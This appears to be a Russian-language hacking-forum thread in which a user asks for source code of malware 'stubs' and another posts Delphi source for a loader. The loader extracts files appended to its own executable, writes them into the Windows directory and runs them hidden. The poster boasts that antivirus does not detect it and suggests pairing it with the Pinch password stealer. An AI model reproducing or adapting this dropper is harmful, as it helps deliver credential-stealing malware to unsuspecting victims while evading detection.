Всем привет, вот просьба, если есть у кого выкладывайте сюда исходники стабов...
П.С. В интернете по стабам почти нечего нет=)
Добавлено в [time]1230569468[/time]
Этот Антивирями не палиться, вроде неплох был бы для пинча=)
Код:
program loader;
uses
Windows,
ShellAPI;
const
mySize=16384;
type
FileInfRecord = record
_filesize: array [0..10] of cardinal;
_filename: array [0..10] of string[100];
_autorun:array [0..10] of boolean;
_windir:array [0..10] of boolean;
_SPOILERRun: array [0..10] of boolean;
_fileCount: cardinal;
End;
function GetWinDir:string;
var
_buff:array[0..255] of Char;
begin
GetWindowsDirectory(_buff, sizeOf(_buff));
Result:=_buff;
end;
VAR
_fileDist, _fileSource:THandle;
_fileHeader:FileInfRecord;
i, j:cardinal;
_buff:char;
_temp:cardinal;
_winDir:string;
BEGIN
_fileSource:=Createfile(pchar(ParamStr(0)), GENERIC_READ, 0, nil, OPEN_EXISTING, 0, 0);
SetFilePointer(_fileSource, mySize, nil, FILE_BEGIN);
ReadFile(_fileSource, _fileHeader, sizeOf(_fileHeader), _temp, nil);
if _fileHeader._fileCount=0 then Exit;
for i:=0 to _fileHeader._FileCount-1 do
begin
if _fileHeader._windir[i] then
begin
_winDir:=GetWinDir;
_fileDist:=CreateFile(pchar(string(_winDir+'\'+_fileHeader._filename[i])),
GENERIC_WRITE, FILE_SHARE_WRITE,
nil,
CREATE_NEW, 0, 0);
end
else
_fileDist:=CreateFile(pchar(string(_fileHeader._filename[i])),
GENERIC_WRITE, FILE_SHARE_WRITE,
nil,
CREATE_NEW, 0, 0);
for j:=1 to _fileHeader._filesize[i] do
begin
ReadFile(_fileSource, _buff, sizeOf(_buff), _temp, nil);
WriteFile(_fileDist, _buff, sizeOf(_buff), _temp, nil);
end;
CloseHandle(_fileDist);
if _fileHeader._SPOILERRun[i] then
if _fileHeader._windir[i] then
ShellExecute(0, 'open', pchar(_winDir+''+_fileHeader._FileName[i]), '','', sw_SPOILER)
else
ShellExecute(0, 'open', pchar(string(_fileHeader._FileName[i])), '','', sw_SPOILER);
Sleep(100);
end;
CloseHandle(_fileSource);
END.
Добавлено в [time]1230569468[/time]
Этот Антивирями не палиться, вроде неплох был бы для пинча=)